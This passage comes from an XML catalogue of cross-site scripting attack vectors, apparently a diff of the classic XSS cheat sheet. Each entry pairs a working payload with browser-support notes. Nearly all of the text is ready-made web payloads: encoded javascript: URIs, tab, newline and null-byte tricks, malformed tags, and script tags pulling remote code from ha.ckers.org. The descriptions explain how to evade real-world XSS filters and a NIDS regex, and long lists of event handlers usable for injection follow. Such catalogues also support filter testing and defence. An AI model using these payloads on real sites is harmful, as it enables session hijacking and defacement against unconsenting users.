class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Image w/CharCode</name> - <code>&lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;</code> - <desc>If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need.</desc> - <label>Character Encoding Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>UTF-8 Unicode Encoding</name> - <code>&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;</code> - - <desc>UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).</desc> - <label>Character Encoding Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Long UTF-8 Unicode w/out Semicolons</name> - <code>&lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041&gt;</code> - - <desc>Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&amp;#XX;", since most people don&apos;t know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&amp;#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I&apos;ve seen this in the wild).</desc> - <label>Character Encoding Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>DIV w/Unicode</name> - <code>&lt;DIV STYLE=&quot;background-image:\0075\0072\006C\0028&apos;\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029&apos;\0029&quot;&gt;</code> - <desc>DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail.</desc> - <label>Character Encoding Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Hex Encoding w/out Semicolons</name> - <code>&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;</code> - - <desc>Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&amp;#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).</desc> - <label>Character Encoding Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>UTF-7 Encoding</name> - <code>&lt;HEAD&gt;&lt;META HTTP-EQUIV=&quot;CONTENT-TYPE&quot; CONTENT=&quot;text/html; charset=UTF-7&quot;&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert(&apos;XSS&apos;);+ADw-/SCRIPT+AD4-</code> - - <desc>UTF-7 encoding - if the page that the XSS resides on doesn&apos;t provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don&apos;t need the charset statement if the user&apos;s browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google&apos;s custom 404 script.</desc> - <label>Character Encoding Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Escaping JavaScript escapes</name> - <code>\&quot;;alert(&apos;XSS&apos;);//</code> - <desc>Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: &lt;SCRIPT&gt;var a=&quot;$ENV{QUERY_STRING}&quot;;&lt;/SCRIPT&gt; and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read &lt;SCRIPT&gt;var a=&quot;&quot;;alert(&apos;XSS&apos;);//&quot;;&lt;/SCRIPT&gt; which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire.</desc> - - <label>Character Encoding Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>End title tag</name> - <code>&lt;/TITLE&gt;&lt;SCRIPT&gt;alert("XSS");&lt;/SCRIPT&gt;</code> - <desc>This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack.</desc> - <label>Character Encoding Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>STYLE w/broken up JavaScript</name> - <code>&lt;STYLE&gt;@im\port&apos;\ja\vasc\ript:alert(&quot;XSS&quot;)&apos;;&lt;/STYLE&gt;</code> - <desc>STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts).</desc> - - <label>Character Encoding Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Embedded Tab</name> - <code>&lt;IMG SRC=&quot;jav&#x09;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code> - <desc>Embedded tab to break up the cross site scripting attack.</desc> - - <label>Embedded Character Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Embedded Encoded Tab</name> - <code>&lt;IMG SRC=&quot;jav&amp;#x09;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code> - <desc>Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below.</desc> - - <label>Embedded Character Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Embedded Newline</name> - <code>&lt;IMG SRC=&quot;jav&amp;#x0A;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code> - <desc>Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.</desc> - - <label>Embedded Character Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Embedded Carriage Return</name> - <code>&lt;IMG SRC=&quot;jav&amp;#x0D;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code> - <desc>Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I&apos;ve seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters).</desc> - - <label>Embedded Character Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Multiline w/Carriage Returns</name> - <code>&lt;IMG&#x0D;SRC&#x0D;=&#x0D;&quot;&#x0D;j&#x0D;a&#x0D;v&#x0D;a&#x0D;s&#x0D;c&#x0D;r&#x0D;i&#x0D;p&#x0D;t&#x0D;:&#x0D;a&#x0D;l&#x0D;e&#x0D;r&#x0D;t&#x0D;(&#x0D;&apos;&#x0D;X&#x0D;S&#x0D;S&#x0D;&apos;&#x0D;)&#x0D;&quot;&#x0D;&gt;&#x0D;</code> - - <desc>Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector).</desc> - <label>Embedded Character Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Null Chars 1</name> - <code>perl -e &apos;print &quot;&lt;IMG SRC=java\0script:alert(&quot;XSS&quot;)>&quot;;&apos;&gt; out</code> - - <desc>Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.</desc> - <label>Embedded Character Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Null Chars 2</name> - <code>perl -e &apos;print &quot;&amp;&lt;SCR\0IPT&gt;alert(&quot;XSS&quot;)&lt;/SCR\0IPT&gt;&quot;;&apos; &gt; out</code> - - <desc>Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I&apos;ve seen this vector bypass some of the most restrictive XSS filters to date</desc> - <label>Embedded Character Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Spaces/Meta Chars</name> - <code>&lt;IMG SRC=&quot; &amp;#14; javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> - <desc>Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn&apos;t take into account spaces in the word &quot;javascript:&quot; - which is correct since that won&apos;t render- and makes the false assumption that you can&apos;t have a space between the quote and the &quot;javascript:&quot; keyword. The actual reality is you can have any char from 1-32 in decimal).</desc> - - <label>Embedded Character Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Non-Alpha/Non-Digit</name> - <code>&lt;SCRIPT/XSS SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> - <desc>Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example &quot;&lt;SCRIPT\s&quot; != &quot;&lt;SCRIPT/XSS\s&quot;</desc> - - <label>Embedded Character Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Non-Alpha/Non-Digit Part 2</name> - <code>&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;XSS&quot;)&gt;</code> - <desc>Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here.</desc> - <label>Embedded Character Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>No Closing Script Tag</name> - <code>&lt;SCRIPT SRC=http://ha.ckers.org/xss.js</code> - <desc>In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don&apos;t actually need the &quot;&gt;&lt;/SCRIPT&gt;&quot; portion of this Cross Site Scripting vector. Firefox assumes it&apos;s safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn&apos;t affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they&apos;re not needed generally.</desc> - - <label>Embedded Character Attacks</label> - <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Protocol resolution in script tags</name> - <code>&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;</code> - <desc>This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh&apos;s protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &lt;/SCRIPT&gt; tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The &quot;.j&quot; is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.</desc> - - <label>Embedded Character Attacks</label> - <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Half-Open HTML/JavaScript</name> - <code>&lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;</code> - <desc>Unlike Firefox, the IE rendering engine doesn&apos;t add extra data to your page, but it does allow the &quot;javascript:&quot; directive in images. This is useful as a vector because it doesn&apos;t require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close &gt; tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex: - /((\%3D)|(=))[^\n]*((\%3C)|&lt;)[^\n]+((\%3E)|>)/ -As a side note, this was also effective against a real world XSS filter I came across using an open ended &lt;IFRAME tag instead of an &lt;IMG tag.</desc> - - <label>Embedded Character Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Double open angle brackets</name> - <code>&lt;IFRAME SRC=http://ha.ckers.org/scriptlet.html &lt;</code> - <desc>This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it&apos;s surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won&apos;t</desc> - <label>Embedded Character Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Extraneous Open Brackets</name> - <code>&lt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;);//&lt;&lt;/SCRIPT&gt;</code> - <desc>(Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error.</desc> - - <label>Embedded Character Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Malformed IMG Tags</name> - <code>&lt;IMG &quot;&quot;&quot;&gt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;&quot;&gt;</code> - <desc>Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag.</desc> - - <label>Embedded Character Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>No Quotes/Semicolons</name> - <code>&lt;SCRIPT&gt;a=/XSS/ -alert(a.source)&lt;/SCRIPT&gt;</code> - <desc>No single quotes or double quotes or semicolons.</desc> - <label>Embedded Character Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Event Handlers List 1</name> - <code>See Below</code> - <desc>Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates: - --FSCommand() (execute from within an embedded Flash object) - --onAbort() (when user aborts the loading of an image) - --onActivate() (when object is set as the active element) - --onAfterPrint() (activates after user prints or previews print job) - --onAfterUpdate() (activates on data object after updating data in the source object) - --onBeforeActivate() (fires before the object is set as the active element) - --onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand(&quot;Copy&quot;) function) - --onBeforeCut() (attacker executes the attack string right before a selection is cut) - --onBeforeDeactivate() (fires right after the activeElement is changed from the current object) - --onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected) - --onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand(&quot;Paste&quot;) function) - --onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand(&quot;Print&quot;) function) - --onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent) - --onBegin() (fires immediately when the element&apos;s timeline begins) - --onBlur() (in the case where another popup is loaded and window loses focus) - --onBounce() (fires when the behavior property of the marquee object is set to &quot;alternate&quot; and the contents of the marquee reach one side of the window) - --onCellChange() (fires when data changes in the data provider) - --onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified) - --onClick() (fires when someone clicks on a form) - --onContextMenu() (user would need to right click on attack area) - --onControlSelect() (fires when the user is about to make a control selection of the object) - --onCopy() (user needs to copy something or it can be exploited using the execCommand(&quot;Copy&quot;) command) - --onCut() (user needs to copy something or it can be exploited using the execCommand(&quot;Cut&quot;) command) - --onDataAvailible() (user would need to change data in an element, or attacker could perform the same function) - --onDataSetChanged() (fires when the data set exposed by a data source object changes) - --onDataSetComplete() (fires to indicate that all data is available from the data source object) - --onDblClick() (fires when user double-clicks a form element or a link) - --onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document) - --onDrag() (requires that the user drags an object) - --onDragEnd() (requires that the user drags an object) - --onDragLeave() (requires that the user drags an object off a valid location) - --onDragEnter() (requires that the user drags an object into a valid location) - --onDragOver() (requires that the user drags an object into a valid location) - --onDragDrop() (user drops an object (e.g. file) onto the browser window) - --onDrop() (fires when user drops an object (e.g. file) onto the browser window) - -</desc> - <label>Event Handlers</label> - <browser>Browser support:</browser> - </attack> - <attack> - <name>Event Handlers List 2</name> - <code>See Below</code> - - <desc>-onEnd() (fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like &lt;P STYLE=&quot;behavior:url(&apos;#default#time2&apos;)&quot; onEnd=&quot;alert(&apos;XSS&apos;)&quot;&gt;) - --onError() (loading of a document or image causes an error) - --onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object) - --onFilterChange() (fires when a visual filter completes state change) - --onFinish() (attacker could create the exploit when marquee is finished looping) - --onFocus() (attacker executes the attack string when the window gets focus) - --onFocusIn() (attacker executes the attack string when window gets focus) - --onFocusOut() (attacker executes the attack string when window loses focus) - --onHelp() (attacker executes the attack string when users hits F1 while the window is in focus) - --onKeyDown() (fires when user depresses a key) - --onKeyPress() (fires when user presses or holds down a key) - --onKeyUp() (fires when user releases a key) - --onLayoutComplete() (user would have to print or print preview) - --onLoad() (attacker executes the attack string after the window loads) - --onLoseCapture() (can be exploited by the releaseCapture() method) - --onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing) - --onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem) - --onMouseDown() (the attacker would need to get the user to click on an image) - --onMouseEnter() (fires when cursor moves over an object or area) - --onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again) - --onMouseMove() (the attacker would need to get the user to mouse over an image or table) - --onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again) - --onMouseOver() (fires when cursor moves over an object or area) - --onMouseUp() (the attacker would need to get the user to click on an image) - --onMouseWheel() (the attacker would need to get the user to use their mouse wheel) - --onMove() (user or attacker would move the page) - --onMoveEnd() (user or attacker would move the page) - --onMoveStart() (user or attacker would move the page) - --onOutOfSync() (interrupt the element&apos;s ability to play its media as defined by the timeline) - --onPaste() (user would need to paste or attacker could use the execCommand(&quot;Paste&quot;) function) - --onPause() (fires on every element that is active when the timeline pauses, including the body element) - --onProgress() (attacker would use this as a flash movie was loading) - --onPropertyChange() (user or attacker would need to change an element property) - --onReadyStateChange() (user or attacker would need to change an element property) -</desc> - <label>Event Handlers</label> - - <browser>Browser support:</browser> - </attack> - <attack> - <name>Event Handlers List 3</name> - <code>See Below</code> - <desc>-onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle) - --onReset() (fires when user or attacker resets a form) - --onResize() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;) - --onResizeEnd() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;) - --onResizeStart() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;) - --onResume() (fires on every element that becomes active when the timeline resumes, including the body element) - --onReverse() (if the element has a 